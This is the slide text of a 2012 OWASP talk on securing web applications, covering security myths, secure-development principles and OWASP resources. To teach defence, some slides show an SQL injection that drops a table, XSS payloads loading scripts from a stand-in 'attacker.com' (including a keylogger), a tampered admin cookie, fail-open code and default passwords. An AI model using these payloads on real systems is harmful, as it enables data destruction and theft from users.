how to secure web applications

51
The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards - Gene Spafford

Upload: mohammed-a-imran

Post on 01-Nov-2014

1.908 views

Category:

Technology


2 download

DESCRIPTION

I presented this presentation at owasp hyderabad oct 2012 meet. you can find more details at https://www.owasp.org/index.php/Hyderabad

TRANSCRIPT

Page 1: How to secure web applications

The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards“

”- Gene Spafford

Page 2: How to secure web applications

SECURING WEB APPLICATIONS

ofA BIRD'S EYE VIEW

Page 3: How to secure web applications

Hello Everyone

Page 4: How to secure web applications

# Security Researcher # Null Hyd Moderator # OWASP Hyd Board Member @imran_naseem

Imran Mohammed

Page 5: How to secure web applications

Do you know ?

Page 6: How to secure web applications

90% of companiesgot hacked last year

http://www.computerworld.com/s/article/9217853/90_of_companies_say_they_ve_been_hacked_Survey

Page 7: How to secure web applications

To name few ...

Page 8: How to secure web applications

got hacked twice60%

Page 9: How to secure web applications

50% are unsure about this year

Page 10: How to secure web applications

Myths of App Sec

Page 11: How to secure web applications

Myth #1

We have network firewall & WAF

Page 12: How to secure web applications

Myth #2

We have SSL hence we are secure

Page 13: How to secure web applications

Myth #3

Testing team will handle security

Page 14: How to secure web applications

Myth #4

Nobody will attack us, we are a small organization

Page 15: How to secure web applications
Page 16: How to secure web applications

If you think technology can solve your security problems, then you don't understand the problems and you don't understand the technology“

”- Bruce Schneier

Page 17: How to secure web applications
Page 18: How to secure web applications

Ten commandments of secure development

Page 19: How to secure web applications

Input is evil, validate it

Validate input source, context, syntax and semantics of data, current and previous states

Page 20: How to secure web applications

SQL Injection

Front-end: https://bookstore.com/index.php?authorname=James

Back-end: SELECT title,year FROM books WHERE author = ‘James’

Page 21: How to secure web applications

SQL Injection

Front-end: https://bookstore.com/index.php?authorname=James’; drop table books;––

Back-end: SELECT title,year FROM books WHERE author = 'James’; drop table books;–– '

Page 22: How to secure web applications

Cross Site ScriptingFunctionality: 

https://example.com/error.php?message=Sorry%2c+an +error+occurred

“Reflected” back to the client via webserver: 

<p>Sorry, an error occurred.</p>

Any Problem ?

https://example.com/error.php?message=[can i change this ?]

Page 23: How to secure web applications

Cross Site ScriptingAttack Users: 

https://example.com/error.php?message=<script src=”attacker.com/malicious.js”></script>

“Reflected” back to the client via webserver:  <p><script src=”attacker.com/malicious.js”></script>.</p>

More problems

https://example.com/error.php?message=

<script src=”attacker.com/keylogger.js”></script>

https://example.com/error.php?message=

<script>document.location.href=”badsite.com”</script>

Page 24: How to secure web applications

POST /books/user1/search.asp HTTP/1.1

Accept: image/gif, image/xxbitmap, image/jpeg, image/pjpeg, application/xshockwaveflash, application/vnd.msexcel,

Accept-Language: en-gb,en-us;

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)

Cookie: PHPSESSIONID=24c9e15e52afc47c225b757e7bee1f9d

Host: www.example.com

q=sqli

hidden_field=20

Check this

Check this

Check this

Check this

Page 25: How to secure web applications

Use cryptographically strong algorithms

Page 26: How to secure web applications

Cookie: lang=english; sessionid=aW1yYW4=

Cookie: lang=english; sessionid=cmFnaHU=

Base 64 is not encryption

Page 27: How to secure web applications

http://www.example.com/salary/view/8635f8ebae3017a5581dbeba572eb01a

MD5 is not good enough

Google it

Page 28: How to secure web applications

Use SHA2 or better with salt

Page 29: How to secure web applications

Minimize attack surface

Page 30: How to secure web applications

Use Least privilege

Page 31: How to secure web applications

Keep security simple

Keep design as simple and small as possible. Complex design is difficult to understand and secure.

Page 32: How to secure web applications

Provide Defense in depth

Page 33: How to secure web applications
Page 34: How to secure web applications
Page 35: How to secure web applications
Page 36: How to secure web applications

Fail safelyisAdmin = true;

try {

codeWhichMayFail();

isAdmin = isUserInRole( “Administrator” );

}

catch (Exception ex) {

log.write(ex.toString());

}

Page 37: How to secure web applications

Avoid Security through obscurity

Page 38: How to secure web applications

Cookie: lang=english; ADMIN=no; sessionid=yj3735mmhdABC

Cookie: lang=english; ADMIN=yes; sessionid=yj3735mmhdABC

Page 39: How to secure web applications

Fix Security issues correctly

Page 40: How to secure web applications

Use Secure defaults

Remember scott/tiger ?

andAdmin/password ( router's admin panel )

Page 41: How to secure web applications

Dont reinvent the wheeel

Page 42: How to secure web applications

How to do develop/fix the code securely ?

Page 43: How to secure web applications

Follow Secure SDLC

Page 44: How to secure web applications

OWASP Development Guide

Page 45: How to secure web applications

Educate Developers/Users

Page 46: How to secure web applications

Use OWASP ESAPI

Page 47: How to secure web applications
Page 48: How to secure web applications

Typical OWASP ESAPI Example

Page 49: How to secure web applications

Thanks !

Page 50: How to secure web applications

Questions ?

Page 51: How to secure web applications

CreditsAll icons are taken from the noun project

OWASP Project related Images are taken from owasp.org